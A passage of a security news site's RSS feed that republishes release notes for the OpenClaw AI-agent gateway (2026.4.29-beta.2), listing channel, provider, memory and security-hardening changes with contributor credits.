<li>Core/channels: tighten selected runtime, media, and plugin edge-case handling while preserving existing behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>Channels/WhatsApp: strip leaked plural tool-call XML wrappers on every WhatsApp-visible outbound path and keep channel error payloads out of WhatsApp chats. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329523309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71830" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71830/hovercard" href="https://github.com/openclaw/openclaw/pull/71830">#71830</a>) Thanks @rubencu.</li>
<li>Agents/embedded-runner: inject the resolved OAuth bearer (and forward the run abort signal) on the boundary-aware embedded stream fallback so models that route through <code>openai-codex-responses</code> and other boundary-aware transports stop failing with <code>401 Unauthorized: Missing bearer or basic authentication in header</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343169386" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73559" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73559/hovercard" href="https://github.com/openclaw/openclaw/issues/73559">#73559</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343600007" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73588" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73588/hovercard" href="https://github.com/openclaw/openclaw/pull/73588">#73588</a>) Thanks @openperf.</li>
<li>Telegram/gateway: bound outbound Bot API calls and cache bundled plugin alias lookup so slow Telegram sends or WSL2 filesystem scans no longer wedge gateway replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348974196" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74210" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74210/hovercard" href="https://github.com/openclaw/openclaw/pull/74210">#74210</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Configure/GitHub Copilot: reuse existing Copilot auth during configure and show the provider's manifest model catalog in the model picker. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349704967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74276" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74276/hovercard" href="https://github.com/openclaw/openclaw/pull/74276">#74276</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Configure/models: keep the model picker scoped to the selected manifest provider and enable its bundled plugin before catalog lookup, so choosing GitHub Copilot no longer falls back to Ollama or skips the catalog. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350379800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74322" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74322/hovercard" href="https://github.com/openclaw/openclaw/pull/74322">#74322</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Auto-reply/subagents: reject <code>/focus</code> from leaf subagents and scope fallback target resolution to the requesting subagent's children, so subagents cannot bind conversations outside their control boundary. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344094857" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73613" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73613/hovercard" href="https://github.com/openclaw/openclaw/pull/73613">#73613</a>) Thanks @drobison00.</li>
<li>Gateway/startup: skip inherited workspace startup memory for sandboxed spawned sessions without real-workspace write access, so <code>/new</code> no longer preloads host workspace memory into isolated child runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344082702" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73611" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73611/hovercard" href="https://github.com/openclaw/openclaw/pull/73611">#73611</a>) Thanks @drobison00.</li>
<li>Agents/tool policy: validate caller group IDs against session or spawned context before applying group-scoped tool policies or persisting gateway group metadata, so forged group IDs cannot unlock more permissive tools. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345261616" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73720" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73720/hovercard" href="https://github.com/openclaw/openclaw/pull/73720">#73720</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</li>
<li>Commands: keep channel-prefixed owner allowlist entries scoped to matching providers so webchat command contexts cannot inherit external channel owners. Thanks @zsxsoft.</li>
<li>Auth/device pairing: bound bootstrap handoff token issuance, redemption, and approved pairing baselines to the documented per-role scope allowlist, so bootstrap approvals cannot persistently grant <code>operator.admin</code>, <code>operator.pairing</code>, or <code>node.exec</code> scopes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>.</li>
<li>Providers/GitHub Copilot: support the GUI/RPC wizard device-code auth flow so onboarding from non-TTY clients (gateway RPC bridge, GUI wizards) completes instead of returning empty profiles. Dangerous-state handling now distinguishes <code>access_denied</code> and <code>expired_token</code> from transport errors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340731383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73290" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73290/hovercard" href="https://github.com/openclaw/openclaw/pull/73290">#73290</a>) Thanks @indierawk2k2.</li>
<li>Installer/Linux: warn before switching an unwritable npm global prefix to <code>~/.npm-global</code>, then tell users to run future global updates with <code>npm i -g openclaw@latest</code> without <code>sudo</code> so npm keeps using the redirected user prefix. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067034134" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44365" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44365/hovercard" href="https://github.com/openclaw/openclaw/issues/44365">#44365</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4102245984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50479" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50479/hovercard" href="https://github.com/openclaw/openclaw/pull/50479">#50479</a>. Thanks @Sayeem3051.</li>
<li>Gateway/plugins: enable the native <code>require()</code> fast path on Windows for bundled plugin modules so plugin loading uses <code>require()</code> instead of Jiti's transform pipeline, reducing startup from ~39s to ~2s on typical 6-plugin setups. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288746847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68656/hovercard" href="https://github.com/openclaw/openclaw/issues/68656">#68656</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348588169" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74173/hovercard" href="https://github.com/openclaw/openclaw/pull/74173">#74173</a>) Thanks @galiniliev.</li>
<li>macOS app: detect stale Gateway TLS certificate pins, automatically repair trusted Tailscale Serve rotations, and surface paired-but-disconnected Mac companion nodes so partial Gateway connections no longer look healthy. Thanks @guti.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw 2026.4.29-beta.2]]></title>
<description><![CDATA[2026.4.29
Highlights

Messaging and automation get active-run steering by default, visible-reply enforcement, spawned subagent routing metadata, and opt-in follow-up commitments for heartbeat-delivered reminders. Thanks @vincentkoc, @scoootscooob, @samzong, and @vignesh07.
Memory grows into a peo...]]></description>
<link>https://tsecurity.de/de/3478363/downloads/openclaw-2026429-beta2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3478363/downloads/openclaw-2026429-beta2/</guid>
<pubDate>Thu, 30 Apr 2026 18:46:23 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.4.29</h2>
<h3>Highlights</h3>
<ul>
<li>Messaging and automation get active-run steering by default, visible-reply enforcement, spawned subagent routing metadata, and opt-in follow-up commitments for heartbeat-delivered reminders. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scoootscooob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scoootscooob">@scoootscooob</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vignesh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vignesh07">@vignesh07</a>.</li>
<li>Memory grows into a people-aware wiki with provenance views, per-conversation Active Memory filters, partial recall on timeout, and bounded REM preview diagnostics. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quengh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quengh">@quengh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeykrug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeykrug">@joeykrug</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Provider/model coverage expands with NVIDIA onboarding/catalogs plus faster manifest-backed model/auth paths, Bedrock Opus 4.7 thinking parity, and safer Codex/OpenAI-compatible replay and streaming behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/prasad-yashdeep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/prasad-yashdeep">@prasad-yashdeep</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/woodhouse-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/woodhouse-bot">@woodhouse-bot</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LyHug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LyHug">@LyHug</a>.</li>
<li>Gateway and packaged-plugin reliability focuses on slow-host startup, reusable model catalogs, event-loop readiness diagnostics, runtime-dependency repair, stale-session recovery, and version-scoped update caches. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lpendeavors/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lpendeavors">@lpendeavors</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DerFlash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DerFlash">@DerFlash</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jhsmith409/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jhsmith409">@jhsmith409</a>.</li>
<li>Channel fixes cluster around Slack Block Kit limits, Telegram proxy/webhook/polling/send resilience, Discord startup/rate-limit handling, WhatsApp delivery/liveness, and Microsoft Teams/Matrix/Feishu edge cases. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/djgeorg3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/djgeorg3">@djgeorg3</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dseravalli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dseravalli">@dseravalli</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nklock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nklock">@nklock</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-xuweilong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-xuweilong">@alex-xuweilong</a>.</li>
<li>Security and operations add OpenGrep scanning, sharper GHSA triage policy, safer exec/pairing/owner-scope handling, Docker/onboarding automation, and web-fetch IPv6 ULA opt-in for trusted proxy stacks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jinjimz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jinjimz">@jinjimz</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrey701/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrey701">@jeffrey701</a>.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Security/tools: configured tool sections (<code>tools.exec</code>, <code>tools.fs</code>) no longer implicitly widen restrictive profiles (<code>messaging</code>, <code>minimal</code>). Users who need those tools under a restricted profile must add explicit <code>alsoAllow</code> entries; a startup warning identifies affected configs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078726004" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47487/hovercard" href="https://github.com/openclaw/openclaw/issues/47487">#47487</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/commitments: add opt-in inferred follow-up commitments with hidden batched extraction, per-agent/per-channel scoping, heartbeat delivery, CLI management, a simple <code>commitments.enabled</code>/<code>commitments.maxPerDay</code> config, and heartbeat-interval due-time clamping so magical check-ins do not echo immediately. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348684831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74189" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74189/hovercard" href="https://github.com/openclaw/openclaw/pull/74189">#74189</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vignesh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vignesh07">@vignesh07</a>.</li>
<li>Messages/queue: make <code>steer</code> drain all pending Pi steering messages at the next model boundary, keep legacy one-at-a-time steering as <code>queue</code>, and add a dedicated steering queue docs page. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Messages/queue: default active-run queueing to <code>steer</code> with a 500ms followup fallback debounce, and document the queue modes, precedence, and drop policies on the command queue page. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Messages: add global <code>messages.visibleReplies</code> so operators can require visible output to go through <code>message(action=send)</code> for any source chat, while <code>messages.groupChat.visibleReplies</code> stays available as the group/channel override. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scoootscooob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scoootscooob">@scoootscooob</a>.</li>
<li>Gateway/events: surface <code>spawnedBy</code> on subagent chat and agent broadcast payloads so clients can route child session events without an extra session lookup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226049569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63244" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63244/hovercard" href="https://github.com/openclaw/openclaw/pull/63244">#63244</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Memory/wiki: add agent-facing people wiki metadata, canonical aliases, person cards, relationship graphs, privacy/provenance reports, evidence-kind drilldown, and search modes for person lookup, question routing, source evidence, and raw claims. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Active Memory: add optional per-conversation <code>allowedChatIds</code> and <code>deniedChatIds</code> filters so operators can enable recall only for selected direct, group, or channel conversations while keeping broad sessions skipped. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4280170574" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67977/hovercard" href="https://github.com/openclaw/openclaw/pull/67977">#67977</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quengh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quengh">@quengh</a>.</li>
<li>Active Memory: return bounded partial recall summaries when the hidden memory sub-agent times out, including the default temporary-transcript path, so useful recovered context is not discarded. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340395145" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73219" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73219/hovercard" href="https://github.com/openclaw/openclaw/pull/73219">#73219</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeykrug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeykrug">@joeykrug</a>.</li>
<li>Gateway/memory: add a read-only <code>doctor.memory.remHarness</code> RPC so operator clients can preview bounded REM dreaming output without running mutation paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4263469272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66673" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66673/hovercard" href="https://github.com/openclaw/openclaw/pull/66673">#66673</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Providers/NVIDIA: add the NVIDIA provider with API-key onboarding, setup docs, static catalog metadata, and literal model-ref picker support so NVIDIA hosted models can be selected with their provider prefix intact. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324848945" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71204" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71204/hovercard" href="https://github.com/openclaw/openclaw/pull/71204">#71204</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>.</li>
<li>Models: suppress explicitly configured openai-codex/gpt-5.4-mini inline entries so a stale models config written by <code>openclaw doctor --fix</code> cannot bypass the manifest capability block and cause repeated assistant-turn failures when the runtime switches to that model on ChatGPT-backed Codex accounts. Conditional suppressions (e.g. qwen Coding Plan endpoint guards) remain bypassable by explicit user configuration. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351824827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74451" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74451/hovercard" href="https://github.com/openclaw/openclaw/issues/74451">#74451</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xCyda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xCyda">@0xCyda</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Added SQLite-backed plugin state store (<code>api.runtime.state.openKeyedStore</code>) for restart-safe keyed registries with TTL, eviction, and automatic plugin isolation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Plugin SDK: mark remaining legacy alias exports and diffs tool/config aliases with deprecation metadata, and add a guard so future legacy alias comments require <code>@deprecated</code> tags. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/QR/dependencies: internalize small terminal progress and QR wrapper helpers while keeping the real QR encoder dependency direct, reducing the default runtime dependency graph without changing QR output behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Dependencies: refresh workspace runtime, plugin, and tooling packages, including ACP, Pi, AWS SDK, TypeBox, pnpm, oxlint, oxfmt, jsdom, pdfjs, ciao, and tokenjuice, while keeping patched ACP behavior and lint gates current. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</li>
<li>Gateway/dev: run <code>pnpm gateway:watch</code> through a named tmux session by default, with <code>gateway:watch:raw</code> and <code>OPENCLAW_GATEWAY_WATCH_TMUX=0</code> for foreground mode, so repeated starts respawn an inspectable watcher without trapping the invoking agent shell. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/diagnostics: emit an opt-in startup diagnostics timeline that records gateway lifecycle and plugin-load phases behind a config flag, so slow-start diagnosis no longer requires bespoke instrumentation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Control UI/i18n: extend the locale registry with new Persian (fa), Dutch (nl), Vietnamese (vi), Italian (it), Arabic (ar), and Thai (th) entries and ship <code>fa</code>, <code>nl</code>, <code>vi</code>, and <code>zh-TW</code> docs glossaries, so the docs translation pipeline and the Control UI language picker stay aligned across surfaces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels: add Yuanbao channel docs entrance so the Tencent Yuanbao bot appears in the channel listing and sidebar navigation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341969080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73443" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73443/hovercard" href="https://github.com/openclaw/openclaw/pull/73443">#73443</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>.</li>
<li>Channels/Yuanbao: update plugin GitHub location to YuanbaoTeam/yuanbao-openclaw-plugin and add "yuanbao" alias to channel catalog. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349371764" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74253" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74253/hovercard" href="https://github.com/openclaw/openclaw/pull/74253">#74253</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>.</li>
<li>Docker setup: add <code>OPENCLAW_SKIP_ONBOARDING</code> so automated Docker installs can skip the interactive onboarding step while still applying gateway defaults. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4148855578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55518" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55518/hovercard" href="https://github.com/openclaw/openclaw/pull/55518">#55518</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jinjimz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jinjimz">@jinjimz</a>.</li>
<li>Security policy: classify media/base64 decode and format-conversion overhead after configured acceptance limits as performance-only for GHSA triage unless a report demonstrates a limit bypass, crash, exhaustion, data exposure, or another boundary bypass. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350238747" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74311" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74311/hovercard" href="https://github.com/openclaw/openclaw/pull/74311">#74311</a>)</li>
